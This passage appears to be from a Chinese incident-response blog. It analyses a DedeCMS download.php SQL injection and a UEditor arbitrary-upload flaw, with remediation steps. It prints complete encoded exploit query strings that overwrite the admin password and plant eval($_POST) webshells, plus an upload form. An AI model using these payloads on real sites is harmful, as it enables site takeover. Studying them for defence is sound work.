172.16.1.12 180.xx.xxx.3 - - [10/Jun/2018:08:41:43 +0800] "GET /plus/download.php?
open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=
114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=1
00&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs
2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[
]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&
arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&ar
rs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs
2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=114&arrs2[]=101&arrs2[]=97&arrs2[]=
100&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&a rrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2
[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&
arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=101&arrs2[]=99&arrs2[
]=104&arrs2[]=111&arrs2[]=32&arrs2[]=109&arrs2[]=79&arrs2[]=111&arrs2[]=110&arrs2[]=59&arrs2[]=6
3&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[
]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arr
s2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=57&arrs2[]=32&arrs2[]=3
5 HTTP/1.1" 200 67
172.16.1.12 180.xx.xxx.3 - - [10/Jun/2018:08:41:43 +0800] "GET /plus/ad_js.php?aid=19 HTTP/1.1"
200 32
对这段 POC 进行解码,我们发现通过这个 poc 可以往数据库中插入数据,进一步访问 /plus/ad_js.php?aid=19 即可在
plus 目录生成 read.php 脚本文件。
解码后:
cfg_dbprefixmyad SET normbody = '<?php file_put_contents(''read.php'',''<?php eval($_POST[x]) ; echo
mOon ; ?>'') ; ?>' WHERE aid` =19 #
综上,可以推测 /plus/download.php 中可能存在 SQL 注入漏洞,接下来,收集网上已公开的有以下 3 EXP 进行漏洞复
现。
4 、漏洞复现
利用方式一:修改后台管理员
1 、新建管理员账号 test/test123789 ,可以成功登录网站后台
2 、构造如下注入 SQL 语句:
cfg_dbprefixadmin SETuserid='spider',pwd ='f297a57a5a743894a0e4' where id=19 #`
修改后台管理员为:用户名 spider ,密码 admin
3 )对应的 EXP:
open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=
114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=1
05&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs
2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[
]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=
44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&ar
rs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=5
3&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[ ]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=11
4&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=57&arrs2[]=32&arr
s2[]=35
执行 EXP 后,相应后台数据库表变为如下:
4 )因此相应后台登录用户变为 spider 密码 admin
利用方式二:通过 /plus/mytag_js.php 文件生成一句话木马 php
1 )如:构造如下注入 SQL 语句:
`cfg_dbprefixmytag(aid,expbody,normbody) VALUES(9013,@','{dede:php}file_put_contents(''90sec.php'','''');
{/dede:php}') # @'``
2 )对应的 EXP:
?
open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=
114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=
97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&ar
rs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs
2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2
[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&ar
rs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39
&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&ar
rs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arr
s2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[
]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=
39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&a
rrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=
112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40
&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[
]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62
&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs
2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[
]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96
3 )执行 EXP 后,将向数据库表 dede_mytag 中插入一条记录, 4 )执行如下语句,在 /plus 目录下生成 90sec.php 一句话木马 http://www.xxxx.com/plus/mytag_js.php?aid=9013
利用方式三:使 /plus/ad_js.php 文件变为一句话木马 php
1 )如:构造如下注入 SQL 语句:
cfg_dbprefixmyadSETnormbody= '<?php file_put_contents(''read.php'',''<?php eval($_POST[x]) ; echo
mOon ; ?>'') ; ?>' WHEREaid =19 #`
2 )对应的 EXP:
/plus/download.php?
open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=
114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=1
00&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs
2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[
]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&
arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&ar
rs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs
2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=114&arrs2[]=101&arrs2[]=97&arrs2[]=
100&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&a
rrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2
[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&
arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=101&arrs2[]=99&arrs2[
]=104&arrs2[]=111&arrs2[]=32&arrs2[]=109&arrs2[]=79&arrs2[]=111&arrs2[]=110&arrs2[]=59&arrs2[]=6
3&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[
]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arr
s2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=57&arrs2[]=32&arrs2[]=3
5
3 )执行 EXP 后,将向数据库表 dede_myad 中插入一条记录。
4 )进一步访问 /plus/ad_js.php?aid=19 即可在 plus 目录生成 read.php 脚本文件。
如何清除?
1 、删除网站目录中的 webshell 2 、清除 dede_myad dede_mytag 数据库表中插入的 SQL 语句,防止再次被调用生成 webshell
如何防御?
网站采用开源 CMS 搭建,建议及时对官方发布的系统补丁以及内核版本进行升级。
9 篇:编辑器入侵事件
UEditor 是百度的一个 javascript 编辑器的开源项目,很多开发人员都喜欢引用这个编辑器,但这个编辑器官网版本一直
停留在 2016-05-26 ,已经很久没有更新了。
现象描述
HIDS 预警:发现后门 (Webshell) 文件,建议您立即进行处理。
事件分析
1 、发现 Webshell
通过预警信息,找到木马文件路径:
备注:紧急处理,通过禁止动态脚本在上传目录的运行权限,使 webshell 无法成功执行。
2 、定位文件上传时间
根据 Webshell 文件创建时间, 2020 3 9 15:08:34 3 Web 访问日志关联分析
由于, IIS 日志时间与系统时间相差 8 小时,系统时间是 15:08 ,我们这里查看的是 7:08 的日志时间。
2020-03-09 07:08:34 10.215.2.128 POST /ueditor/net/controller.ashx action=catchimage
...................
...................
2020-03-09 07:08:35 10.215.2.128 POST /ueditor/net/controller.ashx action=catchimage
找到对应的网站访问日志,在文件创建时间隔间里,我们会注意到这样两个 ueditor 的访问请求,初步怀疑是 UEditor
辑器任意文件上传漏洞。
4 、本地漏洞复现
A 、本地构建一个 html
<form action="http://xxxxxxxxx/ueditor/net/controller.ashx?
action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<inputtype="submit" value="Submit" />
</form>
B 、上传 webshell ,上传成功
经漏洞复现,确认 UEditor 编辑器任意文件上传漏洞。
5 、还原攻击者行为
通过相关文件的访问记录进行关联分析,攻击者通过 ueditor 编辑器成功上传 webshell
6 、事件处理
A 、删除 Webshell
清楚已发现的 webshell ,并尝试查找可能隐藏的 webshell B 、代码完整性验证
我们来思考一个问题,如果有一个免杀的 Webshell 隐藏在数以万行的代码中,怎么搞?
文件完整性校验,检查网站的源码是否被篡改过。
操作过程:
通过查看服务器上已部署的源代码版本,找研发同事要同样版本的代码。把纯净源码的所有文件计算一次 hash 值保存,
再到服务器上执行一次 hash 值,通过比对 hash 值,输出新创建的 / 被修改过的 / 删除的文件列表。
C 、系统入侵排查
对系统做一个整体排查,确认是否存在后门
D 、代码修复
反馈给相关开发人员进行代码修复。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值